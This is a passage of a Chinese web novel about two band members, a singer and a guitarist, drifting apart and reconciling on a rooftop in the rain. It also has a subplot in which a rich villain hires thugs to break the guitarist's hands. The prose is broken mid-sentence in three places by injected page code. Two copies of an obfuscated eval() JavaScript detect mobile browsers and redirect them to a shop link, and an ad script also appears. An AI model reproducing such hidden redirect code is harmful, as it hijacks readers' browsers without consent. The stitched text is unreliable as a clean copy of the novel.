比如他常和程际野在没有演出的傍晚去逛唱片店,最近程际野却拿出理由推拒,居民楼二楼的爬山虎依旧郁郁葱葱在生长,只是少了两个在淡蓝色傍晚里交谈的人; 再比如,程际野在演出开始和结束时变得很忙,有时连说上会儿话的功夫都没有,后台瞥过一眼,只能看到黑发俊美的男人沉默地靠在柜子边,指间夹着的烟雾气袅袅地往上升,他的神情又冷又颓。 游星戈和他说话的时候,从没注意过距离的程际野自觉和他拉开了两道肩膀的距离,开口说出来的话逐渐往客观方向发展。 黑发主唱说的话最后走向冷淡,卷发青年的表情越来越困惑。 最先刺痛的是程际野的心。 可他拿着烟,依旧没什么反应地偏过头,仿佛什么都没发觉。 乐队敏锐的贝斯手只比两位当事人晚一点发现情况,他当然不方便问程际野,只好有意无意地向游星戈打探。 哪料游星戈是个糊弄学高手,问就睁着他那双栗色眼睛看向李钴,迷茫地说自己也不知道。 贝斯手沉默了下,一双深色的上挑眼打量了游星戈一眼。 而最有资格说自己什么也不知道的查尔斯这时拐着李钴去看他新买的唱片,李钴缠不过他,临走前小声的嘟囔还是被听见了:“怎么这么像我谈恋爱的时候和我老婆冷战。” 游星戈嘴角差点没绷住,借着手里的杯子往下掩了掩。 查尔斯没听清凑上前问李钴,李钴摇摇头说没事,然后又被查尔斯勾肩搭背地带走了,笑闹的背影消失在游星戈深栗色的瞳孔中。 游星戈垂了垂眼,笑意才变得淡了点。 男主的心思真是难猜。 或者说,程际野这个人本身就有谜一样的特质,毕竟猜不透的人往往更能引得人飞蛾扑火。 他还真喜欢男主这性格。 而且—— 游星戈的手在杯壁上弹了弹,盛着水的杯子发出了清脆的回响声,他把杯子放回了桌子上。 他并非没察觉到程际野一系列转变背后的原因。 祈城的夏天总是闷闷的,小酒馆里放着世界杯的转播,啤酒、彩带和球迷的欢呼在经历了九十分钟的角逐后终于宣泄出来,风里传来的声音穿过茂密的树,听起来很遥远。 他们在排练室里刚试了新写的歌,程际野写得一手好情歌,查尔斯在旁边开玩笑说他无论长得还是唱得都像谈过很多段恋爱的情场浪子,这话一出连游星戈都侧头看过去。 能写得出好的情歌—— 程际野瞥了金发的鼓手一眼,才露出了个轻笑:“那是因为我很有人文素养。” 多日来笼罩在他身上那层很浅的阴云被驱散了,黑发主唱的神情和以前并没有什么区别。 显然这轻描淡写的话让乐队里的其他人都一乐,连陈青的嘴角都往上扬了扬。 游星戈却朝程际野看过去,他们对视,然后程际野把视线移开了。 ……好像桌子上的那个平平无奇的玻璃水杯都比游星戈好看一样。 卷发青年的表情怔了怔,他刚要开口说什么,旁边的查尔斯乐够了,又神经大条地揽过他的脖子,对他们的吉他手说:“人文素养,看来我缺少人文素养。” 他这人爱逗乐,游星戈接他的茬,侧过头诚恳道:“对你来说还是多谈几场恋爱重要。” 查尔斯嘴角一秒变平:“你取笑我!” 来自于没谈过几场恋爱的鼓手的愤怒控诉,游星戈给他的回应是个更诚恳的点头。 他们这边笑着闹着,程际野把那杯水从危险得随时可能会掉落的桌角边移走,收回来的手却无意识地攥紧了。 他垂下眼。 水杯从阳光折射下来的桌角移到了昏暗的角落,但一层波纹依旧荡漾开来,水波粼粼。 没有用,但依旧要这么做。 他扬起嘴角,露出了个自嘲般的笑。 整个排练室里的笑闹直到更晚才停止扩散,闹够了最后收拾乐器走人的时候,游星戈慢人一步,一下就甩着包要走的查尔斯疑惑地回头看了他一眼:“你不急着走?” 游星戈吃饭还是挺积极的,他俩常常为谁吃最大的那盘烤肉大打出手。 阳光渐渐变暗了,游星戈在快要日落西陲的排练室里摇了摇头。 “好吧。”查尔斯纳闷地攥着肩上的包,和李钴他们先走了。 同样在排练室里的程际野也没出去,靠着窗看着室内,逆光看不清他的表情,但他踌躇了好一会。 游星戈当作没发现般把乐器归位,动作不紧不慢。 最后他把那些其实压根不乱的乐器又整理了一遍后,程际野看着他不知道在想些什么的目光才淡淡地收回。 近来有点反常的主唱并不打算提起他的异样行为,就要推开门往外走。 游星戈及时开口:“不去吃饭?” 程际野转动门把手的手顿住,然后他才说:“不了,你去吃吧,我要去还前几天的唱片。” 巧妙地维持在朋友的距离里,却隐约带着股疏远。 如果游星戈再迟钝点,甚至发觉不了这样的变化。 游星戈挑了挑眉。 这可不成。 程际野拉开了门往外走,脚步的声音很轻,楼梯在他面前一层一层往下铺开,他松开手才发觉自己的掌心有些发汗。 他并非不知道游星戈或许此时也困惑,困惑自己是不是最近哪里惹到程际野了,但程际野没办法告诉他这不是他的错。 这不是游星戈的错。 只是他没有全盘托出的勇气,他开不了口。 五楼的楼梯空气里浮动着灰尘的味道,程际野深呼一口气,能闻到一股灰尘味。 只要远点,再远点,就能让一切回到原点,他只是主唱,游星戈只是他的吉他手,他们是朋友,关系并没有那么热络的、不会想亲吻的朋友。 程际野的手握紧了点。 黑发柔软地盖住了他的耳侧,黄昏的落日将一缕光打在了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631676|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀上,程际野垂下了眼。 ……他还是不可避免地想到游星戈,神采飞扬的年轻人有着让他的目光轻易停驻的能力。 那双深栗色眼睛里带着笑意,让人只想在阳光正好的时候亲吻他。 他的心就在这样的太阳照耀下无处可逃,多日的躲避后无奈又清楚地开口: 你完了。 他压根不知道究竟是哪里出了错。 就先一步被爱判刑。 程际野喉头哽咽了一下。 再远一点就好了。 远一点点。 不然他也会难受。 夕阳里蒙了层灰,程际野的心情并没有传达到游星戈的心里,他仍旧不知道他黑发的主唱在想什么。 隔着一扇门,游星戈也倚着桌子看向了外面的夕阳。 壮美得像下一秒就要死去。 游星戈换了只手搭着窗子,那枚银色的打火机在他手里翻飞,投下窗边一片阴影。 这些天来发生的事有些超乎他的意料,最开始他并没有想到事情会变成这样,他确实能感受到程际野对他有点异样的感情,但那里又掺杂了点别的东西。 并不能深刻体察程际野究竟在想些什么的游星戈困惑了。 明明被撩动了,却选择往后退了一步。 还有以为他没发现,才投注过来的带着炽热的视线,最后又在他要看过去时恰到好处地移开。 程际野在回避着他的目光,也在回避着与他除了对话外的所有接触。 难道他做得太过分了,导致身为起点直男的男主对他有了抵触心理? 他单手托着下巴,露出了个思考的表情。 ……而且那眼神太复杂了,和以前游星戈所能感受到的目光都不一样,不是外面豺狼虎豹贪婪的、带着欲望的、想要把他拖下水的目光,也不是那种纯粹的、充满爱意的目光,比那些通通还要复杂一点。 没做过爱情大师的游星戈深觉男主的心思难猜,叹了口气。 夏天的天空欲暗不暗,空气里涌了点燥热的气息,总是阳光开朗有时还带了点坏心思的青年在夕阳的窗台边没有找到问题的答案,他抓了抓自己的卷发。 触感柔软,挺好抓的,游星戈又抓了一把。 不管怎样,他起码要和男主保持原来的关系吧。 游星戈停下了手,他往下看了眼五层楼的高度,并不太高,楼下凸出来的阳台上还生了很多杂草,根茎发黄,在风里弱弱地招摇。 如果这里是二楼的话,他可以轻巧地跳下去而不受伤,可惜这里是五楼。 夕阳里游星戈又叹了一口气。 随后他只好转着打火机开了门,下了五楼的楼梯已经空空荡荡。 程际野的身影已经不见了。 他将打火机一把揣进了兜里,双手插兜就要往下走的时候才想起来,排练室的钥匙在程际野那,而程际野忘了给。 他也忘了要。 他们排练室的门锁很特殊,必须要钥匙才能开门和关门。 程际野说要去还唱片,那是在街角尽头一家书店老板的珍藏,游星戈也认识。 他决定去找程际野。 15. 一个吻 这条街的尽头只有这家书店,位置有点偏僻,生意也就不大好,傍晚时人影稀稀落落的。 老板是个胡子拉碴的中年大叔,最爱做的事情就是拎着酒瓶巡逻店里的一排排书架,这时候他的神情很骄傲,像是大王在巡逻自己的领地,时不时就要摸出来本书对着酒喝。 今天也是如此,他提着酒瓶子醉醺醺地捧着书在门口坐着,来还他唱片的年轻人有一头黑发,长得挺帅,还很有礼貌地道谢,老板一时之间没想起他的名字。 一拍脑壳,老板才从酒蒙中清醒了一点:“啊你是那个唱歌的,我想起来了。” 程际野于是陪他在这里多说了几句话。 常常被新潮热闹簇拥的乐队主唱和书店老板聊天时出奇地没有代沟,那老板不知道从哪里看出来他心上有事情,非要给他算一算。 程际野顿了下,没有阻止这半吊子老板借着酒劲侃山侃海,因为他向来不信这些东西。 老板多瞅他好几眼,然后拿着算筹念念叨叨几句,黄昏时节的书店边,这场景带着点让人啼笑皆非的怪异。 最后老板再次放下算筹的时候开了口:“我懂,你一看就是最近深陷桃花,就是那什么,感情上的纠葛。” 他偷瞄了程际野突然沉默的神情一眼,估摸着自己也没算错。 “还是你没说出口的感情,你不能告诉对方,”老板先瞟一眼卦象,又偷瞄程际野的表情,咳嗽了声,试图把答案往正确方向猜,“我猜的对吗?” 程际野看了眼他那完全没有规律的卦象一眼:“……” 他说:“对。” “我再算算,是不是普遍世俗意义上不太能允许?”老板闭眼念叨了一会,才掐个指,“她有男朋友了?或者她比你大很多?” 反正感情里不就那么多事嘛。 哪料面前的年轻人顿了下,果决地摇了摇头:“都不是。” “诶?”老板纳闷地睁眼,发出声音。 面前黑发的年轻人露出了个轻笑,老板总觉得他这笑里还带了点其他微妙的东西:“再猜一次。” 中年大叔发动脑筋:“那总不能是,呃,她已经不在人世了?” 程际野对这个答案同样摇了摇头。 ……想半天也没有往对方和他同性别这个方向猜。 这个年头,一般人提起同性恋还是会色变,像一下触发了游戏里的某个关键词,而张口骂人用带有同性恋色彩的字眼,还有可能被人暴起怒揍一顿。 但他不是因为这个原因才没有开口的。 几次猜错之后,老板痛苦地皱起了眉,夕阳的颜色和他喝酒喝得红扑扑的脸颊有的一拼,程际野看了眼天色,才开口要走。 中年大叔心里头松了口气,就怕自己压根不会算命这种事暴露出来,最后冲人挥了挥手:“我这还有很多,珍藏版的唱片,五十周年特别版的那种,没事来可以借你!” 和他解解闷,年轻人的感情还真有意思。 就是他到底哪里猜错了呢,老板苦恼地皱起了眉。 算了算了,不管,喝酒。 夕阳西下,胡子拉碴的老板很是随性地坐在门口,影子被拉得很长,他一口一口喝酒的时间也很长。 祈城的风一吹,叶子就沙沙作响,不仅是书店门口的,还有整条街道沿边的马路上,在垂暮的夜色里泛着点阴冷,像是夜晚暴雨的前兆。 游星戈刚下楼没走几步,影子刚被街角的树影吞没,就遥遥地隔着半条街的距离看到了程际野。 他远远地招了招手。 程际野有让人在人群里一眼捕捉到的能力,气质与灰扑扑的祈城格格不入,如果再戴个墨镜,就像个穿私服出来玩的大明星,游星戈没忍住弯了弯眼睛。 他的主唱看见了他的招手,却停住了脚步。 程际野不知道自己现在该作何反应,所以本能地顿住了。 他看着游星戈一路走过来,脚步轻快,笑容也轻快,毫无阴霾得像今天的太阳,那些在夜晚曾经有过的暧昧气氛和其他不可言说的情感一起冲进了他的脑海。 “哥!” 程际野的手摩挲了一下衣角。 正常点。 天气渐渐热了起来,卷发青年穿了件白色T恤,神情很是生机勃勃,仿佛这么些天没察觉到程际野对他的疏远:“那个排练室的钥匙还在你身上,我没锁门。” 程际野的大脑卡了一下,能让主唱露出这样的表情可不多见。 他当时走的时候太急匆匆,确实忘记了把钥匙给游星戈。 至于为什么走得急,他想和这个人待在一块,又不能和这个人待得太久。 游星戈见他很久没说话,挠了挠头:“那个钥匙……” 他看着程际野,脸上的表情殷切地写着“给我吧”。 黑发的主唱没有打开话头,神情淡淡地往后退了一步,在上衣口袋里摸索了下就掏出钥匙递给游星戈。 “走吧。”蜻蜓点水般接触的指尖很快就移开了,程际野的表情一贯如常。 这个一贯如常两人都心知肚明是怎么回事,游星戈沉默了下。 机车不带他坐了,早餐只挂在玻璃门上了,喝水对上视线都要若无其事地移开,再这样下去,他和查尔斯的关系都要比这近了。 游星戈觉得这不行。 天色已经要彻底暗下去了,程际野没发觉般在和他粉饰太平,游星戈说,程际野就接上几句,任何人来了看这也像是朋友间的聊天,可是走在路上的两个人都能感觉到气氛的僵硬。 风渐渐大起来了,卷发青年也渐渐把话头止住了。 程际野喉头动了动,看着前面人沉默走在路上时飞扬的发丝,突然觉得很抱歉。 明明不是他的错。 程际野不是在世俗里循规蹈矩的人,不然不会放弃稳定的职业和生活,义无反顾地踏上音乐这条道路。 他只是开不了口,因为他不知道这个人的心情。 因为他觉得还有挽回的余地。 他觉得一切都可以回到原点。 晚风很大,吹得人脑袋疼,一只小飞虫从旁边的灌木丛边飞过来,就要落在游星戈脖子上的时候,程际野伸出了手,只是他还没有来得及驱赶,小飞虫感应到人类的气息就飞走了,他的手要落不落。 最后他还是收回了手。 他们上楼,游星戈拿着钥匙去关五楼排练室的门。 “咔哒”一声,这古怪的门终于被锁上了。 卷发青年露出了熟悉的笑容。 程际野在他后面,踩着第二级台阶,晚上的光一点照不到他身上。 天台就在五楼顶上,祈城的居民楼少有修六层以上的,此时楼顶的天窗正在往下倾斜着一线昏黄的光色。 游星戈拿手碰了碰这光,觉得它像是他吉他上的一根弦。 程际野问:“下楼吗?” 游星戈说:“天台的风景应该挺不错的。” 他们俩的话撞在了一块,游星戈愣住,看向程际野,黑发俊美的男人沉默了一下:“我没有天台那个门的钥匙。” 这大楼也不是他家的,他确实没有钥匙。 游星戈挑眉一笑:“想上去还不简单。” 他看了眼天窗,程际野一下就明白他在想什么。 他的吉他手执行能力很强,话刚说出口就要动手。 五楼楼梯间的角落里还安静地竖着可移动式木头楼梯,很快就被两人搬了过来,楼梯的顶端正对着天窗。 游星戈顺着梯子上来的时候还说:“这层好像不是很高。” 程际野的声音在下面,语气淡淡:“你还上过更高的?” 游星戈一个跨腿就上来了,上面的空气确实清新,风大得卷发都快吹得散乱了,他弯起眼睛:“当然。” 这么好看的夜,他打定主意要和程际野保持一个好关系。 “我高中不想读书的时候,就经常上天台睡觉。” 卷头发的青年坐在天窗边,四四方方的方窗里,能看出来他的脸上流露出一种叫做怀念的神情。 是程际野所不熟悉的,让他有些恍惚。 游星戈说完,转头去拉程际野,却被人不经意般躲开了。 程际野是真的在回避与他的身体接触。 黑发的主唱没发觉般,从梯子上了天台。 大风飘荡,天色昏暗,树的沙沙声是从下面传来的。 天台上面已经许多年不曾有人来过,厚厚的水泥地上,不知是木材还是钢筋的小丘被覆盖了帐篷布,在风里又飘又摇,也不会被吹跑,几个落了灰的瘪易拉罐被风吹到了脚边,发出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13631677|143577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叮当的声音。 但是风里的味道很好闻,视野开阔,游星戈拍了拍身上的灰站起来,绕过叮当作响的易拉罐,走到天台的栏杆边,倚着栏杆看向这小半座南城区。 程际野也倚在栏杆边,他站姿没游星戈那么随意,眼里映出来的祈城更多带着自己的影子。 乐队的吉他手即兴拿易拉罐的叮当声编了一小段旋律,程际野在他身边站着,身体没有靠近,甚至有渐渐远离的趋势。 游星戈却拍住了他的肩,一点儿没意识到他们现在的举止过于亲近,神色很明朗:“今晚会下雨吗?” 他指了指天上,卷发逸出来的两缕发丝弧度恰当。 程际野身体僵了僵,他抬头看了眼天空,上边挂着的星星很明亮,然后他才开口:“我觉得不会。” 分明他垂下眼就能看到游星戈那双骨节分明的手搭在他的肩上,艺术品般漂亮,游星戈整个人也快要往他这边凑近,再过一会他感觉能直接把人圈进怀里。 或者他被游星戈圈进怀里。 这个动作太不妙了。 尤其在他对动作的另一位主人公心怀不轨的前提下。 卷发青年像是忘记了这些天程际野不明显的疏远,他说:“这个天色,适合啤酒对碰。” “不对,”他想了想,“更适合可乐。” 程际野压根没心思听他在说什么,他一心只有游星戈那挨得过近的距离,热度从肩膀传来,像要滚烫他的心。 为了压下这个,他挑了个笑,懒散的,像他平时待人那样:“是嘛。” 他觉得更适合接吻。 ……这是错误的想法。 游星戈像不知道说什么话题了,这本来在他们之间是很难发生的,他沉默了一会,然后才轻声说:“哥。” 哥—— 他这一声太轻了,只在唇齿间转了一下,如果程际野不认真听,几乎就要被略过了。 但程际野听见了,他还向游星戈投注了视线。 “我在祈城认识的人不多,”总是神采飞扬的吉他手沉默了下才开口,“但是——” 他的眼神和话语一样诚挚,里面还带了些苦恼:“你是最好的那个。” 所以,你到底怎么了? 程际野从青年混合着困惑关心和苦恼的表情里看出来这个,也听清了他的潜台词。 他以为迟钝的家伙其实察觉了这些天的疏远。 毕竟这种疏远不发现是不可能的。 在程际野要开口的时候,更大的风从毫无遮挡的四面吹来,吹得帐篷布呼呼作响,晴朗的天空被云层遮挡,一滴雨落在了程际野脸上。 ……这个夜晚下雨了。 居然下雨了。 程际野垂在身侧的手顿住了,神情变得晦涩,游星戈侧头看向他时,从没在他脸上看到过这样的表情。 他好像在纠结什么,又或许在犹豫什么,今晚的雨都没有他的表情难懂。 大概有一个世纪那么漫长,程际野垂下了眼。 他的语气变得温和:“你怎么知道今天会下雨?” 这是游星戈熟悉的那个程际野。 卷发青年怔了怔,随后才松了口气似地笑道:“因为我看了天气预报。” 他的手动了动。 因为他从来不打没有准备的仗,不管是在哪里。 雨滴渐渐落了下来,游星戈没有走,他倚着天台边,脚下踩着的是坚实的水泥地。 程际野就站在他旁边,细小的雨滴打在了黑发年轻人的脸上,那张脸上的表情变得柔软起来。 游星戈那头卷发来到祈城后没怎么修过,现在已经有些长了,在风里被吹得有些散乱,而他松了口气后,很是兴高采烈地张开双臂,拥抱着细雨。 年轻又蓬勃的生命。 程际野捧起了他的一缕头发,他们挨得很近,如果卷发青年这时候回过头,准会亲上。 但是游星戈没回头。 无边细雨落下来,淅淅沥沥的雨声在天台响起来。 程际野看着游星戈的一小截侧脸,勾起唇角,弧度和眼神一样微妙,很难说那里面蕴含着什么样的感情。 ——什么都不懂也很好,他还来得及和他再做一场朋友。 在无边细雨里,程际野低头吻了吻指尖的头发。 16. 别再往前 这天晚上下了雨,祈城的灯光却比往常还要亮,影影绰绰,在细雨里灯火通明的热闹。 游星戈回去的时候打着喷嚏,细雨给地面降热,雨声给空气降噪,程际野在他后面,雨丝落进黑色的发间,悄无声息地洇湿了一小片。 卷发青年好奇心重,试着去拉天台那个带锁的门,经年锈黄的锁在铁门上碰撞出声响,是打不开的。 虽然游星戈也没有真的想要打开,他只是觉得这锁挂在门上像个摆设,想知道到底还能不能开。 旁边的程际野大概误会了他的意思:“你要从这边下去?” 语气是游星戈惯来熟悉的那种。 游星戈莫名感觉心情不错,但只耸了耸肩:“这打不开的。” 程际野顿了下。 视线在半个天台环视了一圈,最后他干脆捡起了地上的易拉罐,掰断上面的拉环,那上面有锋利的开口。 话算不上多的黑发青年面不改色,弯腰在锁孔里探了几下,神情很认真,就用这个看上去完全不可能的工具把锁撬开了。 经年老锁显然没有想到自己在垂暮之际还要被人割喉,细雨淋下去,黄锈更上一层,颜色变得更深更重。 程际野卸掉锁,在手里掂量了一下,就扔给了游星戈。 游星戈接住了,他提着这锈黄的锁,看向程际野,有些诧异:“你会开锁?” 程际野给了他一个确定的眼神。 倾斜的细雨里,游星戈又有些迟疑地问:“那你为什么上来的时候不撬开?” 因为下雨,空气里也是雾蒙蒙的,加上是晚上,游星戈不太能看清他们的主唱现在是什么表情,只能听见了他神色淡淡地“嗯”了一声,随后才开口解释道:“我忘了。” 忘掉自己原来是个撬锁高手吗? 游星戈的嘴角抽了抽。 他勉强接受了这个解释。 同样生了锈的铁门被推开时只能发出吱吱声,下面是一段楼梯,很昏暗,扑面一股泛着冷潮的灰尘味,透过光正好能看见那一小段他们上来用的工具梯的一角。 卷发青年往雨淋不到的另一边楼梯走下去,没忍住嘟囔道:“好黑啊”。 接着他连头都没回,很自然地向后伸出手:“下来吧。” 程际野垂眼看了下他的手,雨滴倾斜着落下来,那只手上沾了水,从润泽的指尖往下淌着,落在台阶上无声无息。 这是他们根本没有吵过架的冷战和好的征兆。 程际野却僵住了脚步。 见他没有动,卷发青年疑惑地回头,伸出的手晃了晃。 小雨飘摇,程际野的背后就是一整片快要电闪雷鸣的昏暗雨夜,他脸上的表情看不清楚,雨从天台边飘进来,带着清新的泥土和草地混杂的味道。 除了夜晚寂寂寥寥的雨声,就只有清晰可闻又异乎寻常的呼吸声,在两个人之间间落地起伏。 游星戈说:“你淋雨呢。” 话音刚落,这人就动了,将手递给了他,两只都不可避免沾到雨水的水握在了一起。 交缠的,温热的,甚至是被雨水打湿的。 湿漉漉的一个牵手。 游星戈没回头,却在感受到牵手触感的时候弯起了眼睛。 ……朋友都是这样的。 程际野想。 就算不是这样的,让他再多一个这样的夜晚吧。 他蹭了蹭游星戈的掌心。 最后一个夜晚。 今晚过去,他们还是朋友。 黑发的主唱嘴角扯出了个笑,这个笑对他来说难得温柔,带着淡淡的隽永。 年轻的时候会有很多次动心,程际野不愿否认它,他当然承认它。 但是把关系暂停在这一步,才对所有人都好。 程际野为人洒脱,犹豫过的事情不过那么两三件,想清楚之后当然就会止步。 水泥台阶边生了杂草,雨夜带着点湿滑,他们先后踩过去,也没有完全压制它的生长,还在颤颤巍巍地冒着尖。 甚至因为他们开了天台门,雨停后第二天的阳光就能慢慢照到这里,让它在阴暗的角落里郁郁葱葱地生长。 自这天起,他们的关系恢复了正常。 乐队里也一片井然有序。 那些带着疏远的日子像是从来没有出现过,每天早上的早饭依旧默契地挂在门把手上,讨论词曲的时候最主要的part依旧寸步不让,对视也不会眼神回避,只有程际野带他坐机车的时候嫌麻烦,还硬逼着他学,游星戈压根不好说自己本来就会,硬着头皮假装手忙脚乱地学了几天,就轻松上手了程际野的爱车。 光看相处时的举动,只会认为他们依旧和以前一样的好关系。 是不用也不会想太多的朋友。 乐队的贝斯手轻易发现了这次转变,虽然一头雾水,但这是件好事,繁忙的乐队生活里,他很快就把它忘了。 他们的演出越来越多,场子日渐爆满,开始筹划的录音带也提上日程。 有时候走在南平巷子里,就能轻易遇到喜欢他们的粉丝,查尔斯已经得意扬扬地签出去不少签名,字体中英混杂,光看签名还挺好看。 游星戈已经听过他在耳边讲过了一次又一次事迹,絮絮叨叨包括正在追他的女生,有时候耳朵都快起茧子了。 他们聚在一起玩卡牌游戏,游星戈还捏着牌忍受着查尔斯的语言轰炸。 “所以你就是为了证明上次我开玩笑的那句是错的。”卷发青年最后抱怨道。 他指的是上次开玩笑的那句恋爱经验少。 “那倒也不是,”金发小辫的鼓手也没炸毛,只是得意的表情一滞,想了想才接着开口,“这说明什么?主要还是说明我很适合搞音乐。” 接着查尔斯就开始瞎侃,说自己有一天在音乐上出人头地了,他就洋洋洒洒写信给他那异国他乡的老爸,表示自己不需要继承家产也能活得多姿多彩。 游星戈当他在开玩笑,结果后来挑时间问程际野的时候,这个人给了他肯定的答复。 “真是富二代啊?”卷发青年挠了挠头。 距离他穿书过去了太长时间,加上那本书的剧情写得过于流水账,跟传记似的,乐队的部分又占太少,他确实有些记不大清。 程际野不知道想到了什么,挑眉露出个很淡的笑容:“但他们家实行长子继承制。” 游星戈一口水差点呛出来:“这都二十一世纪了。” 他实在没想到有一天还真能听到长子继承制这种东西。 程际野看了他一眼,很自然地上手拍了拍他的背,游星戈硬生生把自己呛住的动作又多延长了几秒。 他现在窝在程际野家的沙发里,面对着这个人的表情,内心缓缓升起了一缕疑惑。 二十一世纪属于他和程际野的新型冷战结束,但是他还是感觉这种相处模式不太对。 他心中若有所思地看过去,今天是个不晴不阴的日子,天色大白,一切正好,从外面折射进来的光线很是明亮,程际野的表情也一览无余。 那张脸上噙着淡淡的笑意,对他投注的视线毫无回避。 游星戈突然注意到程际野有一双颜色太深重的眼睛,如果不格外留意的话,压根看不出来他的情绪。 他的目光停留太久,程际野问:“怎么了?” 连说出这句话的姿态也无比自然,让游星戈不动声色地挑了下眉。 撩不动?白撩了? 男主的心思真是难以揣摩的东西,游星戈于是回了他一个很轻的笑容。 “没什么。” 他发自内心地觉得他的主唱是个很有意思的人,就算抛开出众的外表和横溢的才华,程际野这个人的心也过于漂亮和难测。 夏天的午后暖烘烘的,就算没有太阳,天气刚好压在多云上,也能感受到空气里的燥热。 游星戈对上他的眼睛,在那双黑沉色的眼睛里什么都没发现。 他很少遇到这样的人。 常在晚上发酵的感情在这个午后悄无声息地流淌着,房间里还放着他们新写的歌,是出奇和缓的风格,一点也不炸。 程际野先移开了视线,在副歌响起来的时候微微皱了下眉,开口评价的声音很轻:“这个桥段写的不好。” “再改一下吧。”游星戈说。 程际野随手翻开乐谱,他记东西向来很有规律,轻易就能翻到那首歌的位置,游星戈靠近他看,他也没有挪开位置。 因为不需要,如果只是站在朋友的立场上。 真的不需要,程际野屏住 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了呼吸。 他拿着谱子边角的手往下压重了点,把视线从游星戈那总是翘起来的一缕卷发上移开,被主人珍重写下来的曲子黑白相映,游星戈的脸也在黑发之下,露出一点淡漠的白,生动得像幅山水寥廓边际游走的水墨画。 ……他总是想保持这样不远不近的距离,深藏于心的不止是感情。 太远了,他怕卷发青年会像不久前一样察觉。 太近了,他又不知道自己会做出什么事情来。 最后他眉眼很淡地蜷缩了修长的手指,压根没让游星戈发现:“这里再加一段手风琴的声音吧。” 他嗓子好,在这个午后里带了点慵懒,像是刚晒过太阳一般,隐晦又抓耳。 游星戈总觉得这声音里带了点什么,空气里隐隐浮动的色彩让他心下一跳。 他刚要抬起头,程际野就按住了他的肩,力气用得有点大,对一向从容的程际野来说有些不合常规。 “……专心点。”程际野说。 他没有想让游星戈抬头的意思,因为他知道自己现在的表情不太好看。 如果让游星戈发现的话——程际野的手虚握了下,隔着衣服薄薄的布料能够感受到年轻人肩膀下有些灼热的皮肤,他甚至直接能够想出答案——他真的没有那么容易放过这人。 他已经很努力在维持这段如今还能称得上正常的关系了。 所以,不要再三试探他的底线了。 他自认自己可能没有那么高的道德。 他不是一个能够忍耐太久放着到嘴的肉不吃的人,从来都不是。 程际野紧绷了下嘴角,顿了好一会才松了松手上的力度。 趁他们还能做朋友,趁他们还是朋友。 这已经是他能想出来的最合适的关系。 游星戈在心里挑了挑眉,最后还是没有抬头,点了点这张谱子,轻声继续讨论:“其实我觉得换成笛子也不错。” “也可以,这部分你来做决定。” 没有阳光的午后,积灰的楼层所有的冷潮味被驱散,空气的温度逐步上升,炽热的,难以言明的。 他们谁都没有提起刚才的异样,仿佛什么都没有发生过。 * 是个同样没有阳光的傍晚,祈城南城区昏暗的巷子里,两支烟默默地燃烧着。 天气热得像熔炉,直蒸得人发汗,连烟头都有些潮。 一支烟在空气里沉默了下,才游走出漂移的火星:“怎么做?” 另一只烟的主人声音有点冷,还带着点不耐烦:“收拾他一顿,别闹出人命就行。” 第一只烟的主人原本的长相并不凶狠,眼睛是圆的,不知道后天什么原因,脸上留了道长长的一道刀疤,他连忙压低声音道:“什么手段都行?” “我说了,只要别搞出人命,”点烟的男人慢吞吞地开口,“最好让他知道教训。” 刀疤男人长吸了一口烟,眼睛眯了眯,才掐掉烟头:“知道了。” 他漫不经心地把烟往旁边的水泥脏墙上一按,墙上很快就出现了个深色的点痕。 “那家伙是个吉他手是吧。” 沈质倚在那里抽烟,不知道他想干什么,但还是眯起眼睛点了点头。 反正这些家伙每次都能给出他满意的答复。 沈大少很久没有体验过这样奇耻大辱的感觉了,他带着伤回去,还被那群狐朋狗友们探听嘲笑了一番,再想进酒吧甚至直接被拦下,回过神来的沈质根本压不下这口气。 得不到的就毁掉,他从来就是这么干的。 不过……要是那家伙低头,他未必不能玩上一玩。 沈质想到了什么,勾了个极轻佻的笑,干脆又多嘱咐了几句。 在接过报酬后,刀疤男才不紧不慢地走出了巷子,手里的打火机又点着了根烟。 两个蹲墙角的小弟拥上来,同样压低声音问:“大哥,这次有啥好生意?” “不是啥,”刀疤男将一口烟吐在小弟脸上,浓烟雾里横笑道,“教训个毛头小子。” “也不用闹出人命,听说是个臭弹吉他的,把手给我弄断就行。” 又一个烟头被扔在地上,在发烫的柏油马路上滋出了一缕白烟。 “对了,如果能带回来更好。” 17. 拥抱 这是个艳阳天,下午的太阳高悬,简直能把人烤化,沥青马路上一踩就是一个浅色痕迹的脚印。 另一条街街角的花店开了,粉蓝相衬,绿底作托,开得都从透明玻璃窗和门口摆着的编织篮里溢出来了,在昏黄的阳光下熠熠生辉,是郁郁葱葱又生机勃勃的景象。 毛发柔顺的英短猫从边上的店里窜出来,在花店门口灼热的太阳底下无精打采地摇着尾巴,直到有人从旁边走过,脚步声很轻,它才转动着黑金相间的猫瞳,悄无声息地跟上了这个人。 游星戈推开书店的门时,没注意到后面有只猫一下窜了进来,从烈日炎炎一下来到吹着冷风的店铺里,这只猫舒适地伸了个懒腰,全身伸展,毛都炸了起来。 书店里人不多,还有坐在地上看书的,猫进来时想逗它的人不少,有个还穿着校服的高中女生去摸它的头,面前有人影走过时她抬头,发现是个很年轻的男生。 长得还挺帅,女生低下头时没忍住在心里想。 